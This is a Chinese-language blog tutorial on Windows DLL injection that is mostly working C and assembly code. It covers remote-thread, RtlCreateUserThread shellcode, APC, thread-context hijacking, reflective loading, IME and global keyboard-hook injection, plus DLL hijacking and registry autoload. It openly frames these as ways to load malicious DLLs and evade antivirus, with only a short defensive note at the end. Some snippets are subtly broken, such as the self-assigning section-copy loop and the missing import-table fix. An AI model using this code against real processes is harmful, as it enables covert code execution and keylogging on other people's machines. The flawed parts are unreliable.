一篇文章带你了解Dll注入

前言

         这是<一篇文章带你…>系列的第四篇,主要会阐明DLL注入的基本原理和几种主流方式,虽然这些方法已经有点滞后了。但是DLL注入的基本原理是不会改变的。

         DLL注入的主要原理就是强制进程自己将需要注入的dll文件注入到自身进程空间内,最好配合Hook技术。

         Dll注入可以从三个方向入手:第一:在进程创建初期按照导入表加载dll的时候。第二:进程运行时期利用LoadLibrary函数加载,第三:利用某些系统机制:例如windows消息机制等。

进程创建后期

0x1 CreateRemoteThread

         此方法是最常见的dll注入的方法,原理是由于CreateRemoteThread的函数原型和CreateThread是一致的。所以模仿CreateThread创建线程的方式实现注入。

         由于创建的是远程线程,是需要将注入的参数(也就是Dll文件的路径)写入目标进程空间。所以基本步骤如下:

         打开目标进程句柄

1
2
3
4
5
6
7
8
9
10
//打开目标进程
hProc = OpenProcess(PROCESS_ALL_ACCESS,
FALSE,
dwTargetPid
);
if (hProc == NULL)
{
printf("OpenProcess:%d\n", GetLastError());
return 0;
}

         向目标进程中开辟空间并写入Dll文件路径

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
//向目标进程中写入句柄
LPTSTR psLibFileRemote = NULL;
psLibFileRemote = (LPTSTR)VirtualAllocEx(hProc,
NULL,
lstrlen(DllPath) + 1,
MEM_COMMIT,
PAGE_READWRITE);
if (psLibFileRemote == NULL)
{
printf("VirtualAllocEx:%d\n", GetLastError());
return FALSE;
}
BOOL bRet=WriteProcessMemory(hProc,
psLibFileRemote,
(LPCVOID)DllPath,
//(void *)DllPath
lstrlen(DllPath) + 1,
NULL);

         获取LoadLibrary的地址

1
2
3
4
5
6
7
PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle("Kernel32.dll"),
"LoadLibraryA");
if (pfnStartAddr == NULL)
{
printf("GetProcAddress %d\n",GetLastError());
return FALSE;
}

         利用CreateRemoteThread函数调用LoadLibrary加载dll

1
2
3
4
5
6
7
8
//CreateThreadThread
HANDLE hThread = CreateRemoteThread(hProc,
NULL,
0,
pfnStartAddr,
psLibFileRemote,
0,
NULL);

0x2 RtlCreateUserThread

         RtlCreateUserThread是CreateRemoteThread的底层实现,所以使用RtlCreateUserThread的原理是和使用CreateRemoteThread的原理是一样的。唯一的区别是使用CreateRemoteThread写入目标进程的是Dll的路径,而RtlCreateUserThread写入的是一段shellcode。

         和CreateRemoteThread一样都是需要获取目标进程句柄,获取LoadLibrary地址,dll路径。

         接着我们需要获取RtlCreateUserThread地址,RtlCreateUserThread函数原型如下:

1
2
3
4
5
6
7
8
9
10
11
12
typedef NTSTATUS(__stdcall *PCreateThread)(
HANDLE Process, //句柄
PSECURITY_DESCRIPTOR ThreadSecurityDescriptor, //线程安全描述符
BOOLEAN CreateSuspended, //创建挂起标志
ULONG ZeroBits,
SIZE_T MaximumStackSize,
SIZE_T CommittedStackSize,
PUSER_THREAD_START_ROUTINE StartAddress, //远程线程函数
PVOID Parameter OPTIONAL, //参数
PHANDLE Thread OPTIONAL,
PCLIENT_ID ClientId OPTIONAL
);

         如何构造shellcode?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
VOID ShellCodeFun(VOID)
{
_asm
{
call L001
L001:
pop ebx
sub ebx,5 //自定位
push dword ptr ds : [ebx]INJECT_DATA.lpParameter //lpParameter
call dword ptr ds : [ebx]INJECT_DATA.lpThreadStartRoutine //ThreadProc
xor ebx,ebx
push ebx
push -2
call dword ptr ds : [ebx]INJECT_DATA.AddrOfZwTerminateThread //ZwTerminateThread
nop
nop
nop
nop
nop
}
}

         将shellcode写入进程内存中,然后调用RtlCreateUserThread执行shellcode。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
//写入shellcode
int bRet = WriteProcessMemory(hProcess, pMem, &Data, sizeof(INJECT_DATA), &dwIoCnt);
if (bRet == 0)
{
printf(" WriteProcessMemory:%d\n", GetLastError());
return FALSE;
}
status = RtlCreateUserThread(hProcess, //进程句柄
lpThreadAttributes, //线程安全符
TRUE, //创建挂起标志
0, //ZeroBit
dwStackSize, //栈大小
0,
(PUSER_THREAD_START_ROUTINE)pMem, //StartAddress,包含了shellcode和数据(StartAddress)
NULL, //参数
&hThread, //远程线程句柄
&Cid //ClientID
);

0x3 APC注入

         APC中文名称为异步过程调用, APC是一个链状的数据结构,可以让一个线程在其本应该的执行步骤前执行其他代码,每个线程都维护这一个APC链。当线程从等待状态苏醒后,会自动检测自己得APC队列中是否存在APC过程。

         所以只需要将目标进程的线程的APC队列里面添加APC过程,当然为了提高命中率可以向进程的所有线程中添加APC过程。然后促使线程从休眠中恢复就可以实现APC注入。

         首先依旧是将DLL文件路径写入进程。

1
2
3
4
5
6
7
8
9
10
lpData = VirtualAllocEx(hProcess, lpData, lstrlen(szDllFullPath) + 1, MEM_COMMIT, PAGE_READWRITE);
if (lpData)
{
bStatus = WriteProcessMemory(hProcess, lpData, szDllFullPath, lstrlen(szDllFullPath) + 1, &stSize);
if (FALSE == bStatus)
{
printf("WriteProcessMemory:%d\n", GetLastError());
return NULL;
}
}

         然后使用QueueUserAPC将APC例程添加到APC队列中,QueueUserAPC三个参数分别是APC例程,线程句柄,例程参数。所以还需要获取线程句柄

1
2
3
4
5
6
dwRet=QueueUserAPC((PAPCFUNC)LoadLibraryA, hThread, (ULONG_PTR)lpData);
if (NULL == dwRet)
{
printf("QueueUserAPC:%d\n", GetLastError());
return NULL;
}

         当然,为了提高命中率,可以使用遍历所有线程,然后利用te32.th32OwnerProcessID是否等于目标进程PID的策略进行进程全局注入。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
if (Thread32First(hThreadSnap, &te32))
{
do
{
//线程所属的进程ID==目标进程ID
if (te32.th32OwnerProcessID == dwPid)
{
//获取当前线程句柄
HANDLE hThread = OpenThread(THREAD_ALL_ACCESS,FALSE,te32.th32ThreadID);
DWORD dwRet = NULL;
//插入APC队列
dwRet=QueueUserAPC((PAPCFUNC)LoadLibraryA, hThread, (ULONG_PTR)lpData);
if (NULL == dwRet)
{
printf("QueueUserAPC:%d\n", GetLastError());
return NULL;
}
CloseHandle(hThread);
}
} while (Thread32Next(hThreadSnap, &te32));
}

0x4 代码注入

         使用傀儡进程:以挂起方式创建进程,然后向其中写入shellcode,利用shellcode执行LoadLibrary

         首先以挂起方式创建进程,CreateProcess的第6个参数可以设定进程创建的方式

1
2
3
4
5
6
7
8
9
10
bRetProcess = CreateProcess("D:\\HostProc.exe",
NULL,
NULL,
NULL,
NULL,
CREATE_SUSPENDED, //挂起创建进程
NULL,
NULL,
&Startup,
&pi);

         然后需要保存进程的上下文信息,主要是EIP的值。以便于Load完成后返回。

1
2
3
//获取CONTEXT
ctx.ContextFlags = CONTEXT_CONTROL;
GetThreadContext(pi.hThread, &ctx);

         接着需要构建我们替换执行的代码。这段代码的目的是Load我们的恶意的dll文件,所以至少需要做两个方面的准备,第一:需要知道LoadLibrary的地址。第二需要知道Dll的路径。为了让程序更好的运行还需要保存现场。最后利用ret方式返回。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
unsigned char sc[] = {
//push ret
0x68,retChar[0],retChar[1],retChar[2],retChar[3],
//push flags
0x9C,
//pushad
0x60,
//push DllPath
0x68, strChar[0], strChar[1],strChar[2],strChar[3],
//mov eax,AddressOfLoadLibrary
0xB8, apiChar[0],apiChar[1],apiChar[2],apiChar[3],
//call eax
0xFF,0xD0,
//popad
0x61,
//popfd
0x9D,
//ret
0xC3 };

         构造完这些之后将shellcode写入,由于内存本身就有执行属性,所以不需要修改内存属性。

1
2
3
4
5
6
7
8
9
10
11
bRet=WriteProcessMemory(pi.hProcess,
Remote_ShellCodePtr,
ShellCode,
ShellCodeLength,
NULL
);
if (FALSE == bRet)
{
printf("WriteProcessMemory:%d\n", GetLastError());
return FALSE;
}

         最后利用SetThreadContext将我们的EIP设置为shellcode起始地址。并调用ResumeThread重启线程

1
2
3
4
ctx.Eip =(DWORD) Remote_ShellCodePtr;
ctx.ContextFlags = CONTEXT_CONTROL;
SetThreadContext(pi.hThread, &ctx);
ResumeThread(pi.hThread);

         为了提高命中率可以向目标进程的所有线程进行注入.利用CreateToolhelp32Snapshot等三个函数遍历线程。

1
2
3
4
5
6
7
8
9
10
11
12
13
if (Thread32First(hThreadSnap, &te32))
{
do
{
if (te32.th32OwnerProcessID == ProcessId)
{
bStatus = TRUE;
dwTidList[Index] = te32.th32ThreadID;
// printf("%d:%d:%d\n", Index, dwTidList[Index], te32.th32ThreadID);
Index++;
}
} while (Thread32Next(hThreadSnap, &te32));
}

0x5 反射式DLL注入

         反射式dll注入不需要dll文件落地,减少被查杀的风险。首先将需要注入的dll写入进程内存,然后为该dll添加一个导出函数,利用这个导出函数让其自动的装载dll。注射器是将DLL文件写入目标进程内存。反射装载器实现的就是模拟dll装载器装载dll文件的操作。

         首先说一下注射器,注射器的目的是将Dll文件写入到目标进程空间,然后获取里面导出函数ReflectiveLoader。

         首先需要打开目标进程句柄

1
2
3
4
5
6
7
8
9
10
11
//打开目标进程句柄
HANDLE hProcess = NULL;
DWORD dwProcessId = 0;
dwProcessId = GetProcessIdByName(ProcessNmae);
hProcess = OpenProcess(PROCESS_CREATE_THREAD | //创建线程所必需的
PROCESS_QUERY_INFORMATION | //检索有关进程的某些信息
PROCESS_VM_OPERATION | //需要对进程的地址空间执行操作
PROCESS_VM_WRITE | //需要对进程的地址空间执行写操作
PROCESS_VM_READ, //需要对进程的地址空间执行读操作
FALSE,
dwProcessId);

         向目标进程写入DLL数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
//为需要注入的DLL在目标进程中分配空间
LPVOID lpRemoteLibraryBuffer = NULL;
lpRemoteLibraryBuffer=VirtualAllocEx(hProcess, NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READ);
if (!lpRemoteLibraryBuffer)
{
printf("VirtualAllocEx:%d\n", GetLastError());
return NULL;
}
//将DLL写入目标内存
if (!WriteProcessMemory(hProcess, lpRemoteLibraryBuffer, lpBuffer, dwLength, NULL))
{
printf("WriteProcessMemory:%d\n", GetLastError());
return NULL;
}

         利用导出表获取导出函数地址ReflectiveLoader。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
while (iCounter--)
{
char* cpExportFunctionName = (char*)(uiBaseAddress + RvaToOffset(DEREF_32(uiNameArray), uiBaseAddress));
//为了找到载入DLL中的导出函数ReflectiveLoader地址
if (strstr(cpExportFunctionName, "ReflectiveLoader") != NULL)
{
//获取目标函数数组的地址
uiAddressArray = uiBaseAddress + RvaToOffset(((PIMAGE_EXPORT_DIRECTORY)uiExportF0A)->AddressOfFunctions, uiBaseAddress);
//获取导出函数ReflectiveLoader的地址,计算公式FunAddress=uiAddressArrary+Orginal*sizeof(dword)
uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(DWORD));
//返回offset
return RvaToOffset(DEREF_32(uiAddressArray), uiBaseAddress);
}
//下一个函数名称数组
uiNameArray += sizeof(DWORD);
//下一个函数索引数组
uiNameOrdinals += sizeof(DWORD);
}

         然后利用CreateRemoteThread跨线程调用ReflectiveLoader。

1
2
3
4
//使用CreateRemoteThread调用lpReflectiveLoader加载DLL
DWORD dwThreadId = 0;
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 1024*1024, lpReflectiveLoader, lpParameter, (DWORD)NULL, &dwThreadId);
printf("CreateRemoteThread:%d\n", GetLastError());

         接下来就是ReflectiveLoader的编程,ReflectiveLoader其实就是一个dll加载器。

         首先需要知道当前dll的基地址,而ReflectiveLoader肯定位于这个DLL中所以在此函数地址出逐次递减,然后判断是否存在MZ标志,MZ的地址就是DLL的基地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
uiLibraryAddress = caller();
ULONG_PTR uiHeaderValue = NULL;
while (TRUE)
{
if (((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE)
{
//NtHeaders的偏移
uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
if (uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024)
{
//NtHeaders
uiHeaderValue += uiLibraryAddress;
//
if (((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE)
{
break;
}
}
}
uiLibraryAddress--;
}

         接着获取注射器所需要的API函数LoadLibrary,GetProcess,VirtualAlloc的地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
//读取LDR的链表地址
uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr;
USHORT usCounter = 0;
ULONG_PTR uiValueC = 0;
//读取InMemoryOrderModuleList的入口地址
ULONG_PTR uiValueA = (LONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink;
while (uiValueA)
{
//DllName
uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer;
//DllName.Length
usCounter = (USHORT)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length;
//存储的Dll Module的HASH
uiValueC = 0;
//计算模块名的HASH值
do
{
uiValueC = ror((DWORD)uiValueC);
if (*((BYTE*)uiValueB) >= 'a')
uiValueC += *((BYTE *)uiValueB) - 0x20;
else
uiValueC += *((BYTE *)uiValueB);
uiValueB++;
} while (--usCounter);
if ((DWORD)uiValueC == KERNEL32DLL_HASH)
{
//获取导出表
//1.获取基地址(DOS头)
uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
//2.获取Nt头
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
//3.获取导出表数据目录
uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
//4.获取导出表的地址
uiExportDir = uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress;
//5.获取函数名称数组
uiNameArray = uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNames;
//6.获取导出表的索引数组
uiNameOrdinals = uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNameOrdinals;
usCounter = 3;
while (usCounter > 0)
{
dwHashValue = hash((char*)(uiBaseAddress + DEREF_32(uiNameArray)));
//比较是否是LoadLibrary,GetProcAddress,VirtualAlloc的HASH
if (dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH)
{
//获取指定函数的地址
uiAddressArray = uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions;
uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(DWORD));
//存储函数的VA
//存储LoadLibrary的绝对地址
if (dwHashValue == LOADLIBRARYA_HASH)
pLoadLibraryA = (LOADLIBRARYA)(uiBaseAddress + DEREF_32(uiAddressArray));
//存储GetProcAddress的绝对地址
else if (dwHashValue == GETPROCADDRESS_HASH)
pGetProcAddress = (GETPROCADDRESS)(uiBaseAddress + DEREF_32(uiAddressArray));
//存储VirtualAlloc的绝对地址
else if (dwHashValue == VIRTUALALLOC_HASH)
pVirtualAlloc = (VIRTUALALLOC)(uiBaseAddress + DEREF_32(uiAddressArray));
usCounter--;
}
uiNameArray += sizeof(DWORD);
uiNameOrdinals += sizeof(DWORD);
}
}
else if ((DWORD)uiValueC == NTDLLDLL_HASH)
{
//获取Ntdll的基地址
uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
//获取NtHeader
uiExportDir = (uiBaseAddress+((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew);
//获取数据目录导出表
uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
//获取导出表的VA
uiExportDir = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress);
//获取导出表函数名称数组
uiNameArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNames);
//获取导出表函数索引数组
uiNameOrdinals = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNameOrdinals);
usCounter = 1;
while (usCounter > 0)
{
//利用导出函数名称计算HASH
//DEREF_32函数是为了将32位DWORD转化为字符串
dwHashValue = hash((char*)(uiBaseAddress + DEREF_32(uiNameArray)));
//比较是否是ntflushinstructioncache函数HASH
if (dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH)
{
//获取函数地址数组
uiAddressArray =uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions;
//根据索引找到其在函数地址数组中的地址
uiAddressArray += ((DEREF_16(uiNameOrdinals) * sizeof(DWORD)));
//存储pNtFlushInstructionCache函数的地址
if (dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH)
{
//RVA+BaseAddress=VA
pNtFlushInstructionCache = (NTFLUSHINSTRUCTIONCACHE)(uiBaseAddress + DEREF_32(uiAddressArray));
}
usCounter--;
}
//下一个函数名称数组
uiNameArray += sizeof(DWORD);
uiNameOrdinals += sizeof(DWORD);
}
}
//已经找到四个函数地址VA结束第二歩
if (pLoadLibraryA && pGetProcAddress && pVirtualAlloc && pNtFlushInstructionCache)
break;
uiValueA = DEREF(uiValueA);
}

         有了前面这几个API函数做支撑,可以将DLL文件载入到内存,这个是模拟装载器的载入,并不是单纯的读取。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
//NT头
uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
//开辟内存空间
//因为是自己构架的Loader,所以没有加载kernel32.dll需要自行获取函数的地址,然后调用
uiBaseAddress = (ULONG_PTR)pVirtualAlloc(NULL,
((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage,
MEM_RESERVE | MEM_COMMIT,
PAGE_EXECUTE_READWRITE);
//文件头大小
uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders;
//原地址地址
uiValueB = uiLibraryAddress;
//目的地址
uiValueC = uiBaseAddress;
while (uiValueA--)
*(BYTE*)uiValueC++ = *(BYTE*)uiValueB;
//复制节区
ULONG_PTR uiValueD=NULL;
uiValueA = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader;
//获取节区数目
ULONG_PTR uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections;
while (uiValueE--)
{
//获取节区VA
uiValueB = (uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress);
//获取磁盘中节区的VA
uiValueC = uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData;
//获取磁盘中节区大小,不需要填充
uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData;
//复制
while (uiValueD--)
*(BYTE*)uiValueC++ = *(BYTE*)uiValueC++;
//下一个节区
uiValueA += sizeof(IMAGE_SECTION_HEADER);
}

         然后就是修正IAT和重定位表。修正OEP。和加壳很像!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
//6.修正重定位表
//计算重定位信息公式:VA-ImageBase+BaseAddress
//计算BaseAddress-ImageBase
uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase;
//获取重定位数据目录
uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
if (((PIMAGE_DATA_DIRECTORY)uiValueB)->Size) //确定重定位表是否存在值
{
//获取重定位表VA
uiValueC = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress);
while (((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock)
{
//获取重定位块的RVA
uiValueA = (uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress);
//获取重定位块的个数
uiValueB = (((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(IMAGE_RELOC);
uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION);
while (uiValueB--)
{
if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64)
*(ULONG_PTR *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress;
else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW)
*(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress;
else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH)
*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress);
else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW)
*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress);
//获取下一个重定位
uiValueD += sizeof(IMAGE_RELOC);
}
uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock;
}
}
//7.调用DLL的OEP
//获取DLL的OEP
uiValueA = (uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint);
//刷新指令集
pNtFlushInstructionCache((HANDLE)-1, NULL, 0);
//调用DLL入口点
((DLLMAIN)uiValueA)((HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL);
return uiValueA;

         总结一下

  • 注射器的实现
    • 1.将待注入DLL读入自身内存(利用解密磁盘上加密的文件、网络传输等方式避免文件落地)
    • 2.利用VirtualAlloc和WriteProcessMemory在目标进程中写入待注入的DLL文件
    • 3.利用CreateRemoteThread等函数启动位于目标进程中的ReflectiveLoader
  • ReflectiveLoader的实现,ReflectiveLoader要完成的任务是对自身的装载
    • 1.定位DLL文件在内存中的基址,便于后期载入内存
    • 2.获取所需的系统API
    • 3.分配一片用来装载DLL的空间以内存方式写入,而非文件方式
    • 4.复制PE文件头和各个节
    • 5.处理DLL的引入表,修复重定位表
    • 6.调用DLL入口点

系统机制

0x6 输入法注入

         切换输入法时候,输入法管理器imm32.dll就会加载IME模块,这样就形成了输入法注入的充要条件。而由于这个Ime文件本质上只是个存放在C:\WINDOWS\system32目录下的特殊的DLL文件,因此我们可以利用这个特性,在Ime文件中使用LoadLibrary()函数待注入的DLL文件。

         首先就是编写ime文件,至少需要两个导出函数BOOL ImeClass_Register(HINSTANCE hinstDLL)BOOL WINAPI ImeInquire(LPIMEINFO lpIMEInfo, LPTSTR lpszUIClass, LPCTSTR lpszOption)这两个是必须要实现的。剩下的导出函数可以选择不去实现。

         接着编写注射器。利用ImmInstallIME安装ime文件,当输入法切换的时候就可以注入dll了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
void InstallIME()
{
//获取当前默认的输入法
SystemParametersInfo(SPI_GETDEFAULTINPUTLANG,
0,
&m_retV,
0);
//安装输入法
m_hImeFile32 = ImmInstallIME("HookIme.ime",
"我的输入法");
//是否安装成功
if (ImmIsIME(m_hImeFile32))
{
//设置默认输入法
SystemParametersInfo(SPI_SETDEFAULTINPUTLANG,
0,
&m_hImeFile32,
SPIF_SENDWININICHANGE);
}
}

0x7 SetWindowsHookEx

         我的理解是:windows维护着消息队列,应用程序会从队列中取出消息,不同的消息有着不同的编号,我们根据编号idHook,设置不同钩子。如何设置钩子?可以利用SetWindowsHookEx这个API函数,函数原型如下:第一个参数是消息编号,第二个参数为Hook函数

1
2
3
4
5
HHOOK SetWindowsHookExA(
int idHook,
HOOKPROC lpfn,
HINSTANCE hmod,
DWORD dwThreadId);

         具体操作如下:

1
2
3
4
5
6
7
8
9
10
extern "C" _declspec(dllexport) void HookStart()
{
// HHOOK hHook = NULL;
g_hHook=SetWindowsHookEx(WH_KEYBOARD, HookProc,
GetModuleHandle("E://Viusal Studio//kanxue//注入技术//SetWindowsHookEx//Inject_dll//Debug//Inject_dll.dll"), 0);
if (NULL == g_hHook)
{
MessageBox(NULL, "安装钩子失败", "提示", MB_OKCANCEL);
}
}

其他方法:

         DLL劫持法(输入表DLL替换法),原理是利用搜索DLL路径存在先后顺序(exe程序目录>系统目录>当前目录>Path),当较高层存在一个同名的DLL文件的时候,就会直接加载较高层的DLL文件。常常用于病毒的白加黑。需要注意的是黑DLL路径优先级一定要高于原来的dll文件,第二,一定要具有源dll文件所有的导出函数。

         毕竟新创建的进程在加载User32.dll时,都会自动调用LoadLibrary去加载注册表中某个表项键值里写入的Dll路径

  • x64下:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows
  • x86下:HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Windows

应用级防护

         在创建远程线程创建初期在DllMain中防御远程线程,此时尚未调用LoadLibrary。可以对线程的合法性判断
         LoadLibrary之前首先可以挂钩LoadLibrary函数,然后检查dll路径合法性
         LoadLibrary之后枚举可疑内存和模块